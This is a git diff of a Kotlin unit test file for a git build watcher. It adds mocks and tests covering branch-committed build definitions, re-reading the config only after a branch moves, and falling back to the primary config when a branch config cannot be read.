a/src/test/kotlin/de/hoennig/gittally/watcher/WatcherTest.kt b/src/test/kotlin/de/hoennig/gittally/watcher/WatcherTest.kt index a9eaa79..1355c21 100644 --- a/src/test/kotlin/de/hoennig/gittally/watcher/WatcherTest.kt +++ b/src/test/kotlin/de/hoennig/gittally/watcher/WatcherTest.kt @@ -76,6 +76,9 @@ class WatcherTest : FunSpec() { every { gitService.hasNewCommits(any(), any()) } returns false every { gitService.originHeadCommit(any(), any()) } returns null every { gitService.originBranchCommitTimes(any()) } returns emptyMap() + every { gitService.originBranchHeads(any()) } returns emptyMap() + every { gitService.showFileAtCommit(any(), any(), any()) } returns null + every { configLoader.loadWithBranchLayer(any(), anyNullable()) } returns config every { gitService.pullRequestHeads(any()) } returns emptySet() every { gitService.worktreePrune(any()) } returns Unit every { gitService.fastForwardLocalBranches(any()) } returns emptyList() @@ -483,6 +486,85 @@ class WatcherTest : FunSpec() { verify { harness.buildExecutor.startBuild("main", "commit-main", any(), BuildDefinition.DEFAULT) } } + test("a build definition committed on a branch fires for that branch, without any entry in the primary config") { + val harness = Harness() + val branchLayer = + GitTallyConfig( + buildDefinitions = mapOf("pitest" to BuildDefinition(atTimes = listOf("11:00"))), + ) + every { harness.gitService.originBranches(any()) } returns listOf("main", "experiment") + every { harness.gitService.originBranchHeads(any()) } returns + mapOf("main" to "commit-main", "experiment" to "commit-exp") + every { harness.gitService.showFileAtCommit("commit-exp", Watcher.CONFIG_FILE, any()) } returns "branch-yaml" + every { harness.configLoader.loadWithBranchLayer(any(), "branch-yaml") } returns branchLayer + every { harness.gitService.originHeadCommit("experiment", any()) } returns "commit-exp" + every { harness.gitService.originHeadCommit("main", any()) } returns "commit-main" + + harness.watcher.poll(harness.workingDir) + + harness.startedBuilds shouldContainExactly listOf("experiment" to "commit-exp") + verify { harness.buildExecutor.startBuild("experiment", "commit-exp", any(), "pitest") } + harness + .autoBuildState() + .isTriggered("experiment@pitest", LocalDate.parse("2026-07-07"), "11:00") + .shouldBeTrue() + } + + test("a build definition committed on a branch never schedules another branch") { + val harness = Harness() + val branchLayer = + GitTallyConfig( + buildDefinitions = + mapOf("pitest" to BuildDefinition(atTimes = listOf("11:00"), branches = listOf("main"))), + ) + every { harness.gitService.originBranches(any()) } returns listOf("main", "experiment") + every { harness.gitService.originBranchHeads(any()) } returns + mapOf("main" to "commit-main", "experiment" to "commit-exp") + every { harness.gitService.showFileAtCommit("commit-exp", Watcher.CONFIG_FILE, any()) } returns "branch-yaml" + every { harness.configLoader.loadWithBranchLayer(any(), "branch-yaml") } returns branchLayer + every { harness.gitService.originHeadCommit(any(), any()) } returns "commit-any" + + harness.watcher.poll(harness.workingDir) + + // the definition selects main, but it is only known on experiment — so nothing is built + harness.startedBuilds.shouldBeEmpty() + } + + test("a branch's committed config is read from git again only after the branch moved") { + val harness = Harness() + every { harness.gitService.originBranches(any()) } returns listOf("main") + every { harness.gitService.originBranchHeads(any()) } returns mapOf("main" to "commit-1") + + harness.watcher.poll(harness.workingDir) + harness.watcher.poll(harness.workingDir) + verify(exactly = 1) { harness.gitService.showFileAtCommit("commit-1", Watcher.CONFIG_FILE, any()) } + + every { harness.gitService.originBranchHeads(any()) } returns mapOf("main" to "commit-2") + harness.watcher.poll(harness.workingDir) + + verify(exactly = 1) { harness.gitService.showFileAtCommit("commit-2", Watcher.CONFIG_FILE, any()) } + } + + test("an unreadable branch config falls back to the primary definitions instead of failing the poll") { + val harness = Harness() + every { harness.gitService.originBranches(any()) } returns listOf("main") + every { harness.gitService.localBranches(any()) } returns listOf("main") + every { harness.gitService.hasNewCommits("main", any()) } returns true + every { harness.gitService.originBranchHeads(any()) } returns mapOf("main" to "commit-main") + every { harness.gitService.showFileAtCommit("commit-main", Watcher.CONFIG_FILE, any()) } returns "broken" + every { harness.configLoader.loadWithBranchLayer(any(), "broken") } throws + RuntimeException("mapping problem") + every { harness.gitService.originHeadCommit("main", any()) } returns "commit-main" + + harness.watcher.poll(harness.workingDir) + + harness.watcher + .state() + .lastPollError + .shouldBeNull() + verify { harness.buildExecutor.startBuild("main", "commit-main", any(), BuildDefinition.DEFAULT) } + } + test("an auto-build slot stays untriggered while the branch is still building") { val harness = Harness(autoBuildConfig("11:00")) harness.seed("main", BuildStatus.RUNNING, commit = "commit-abc")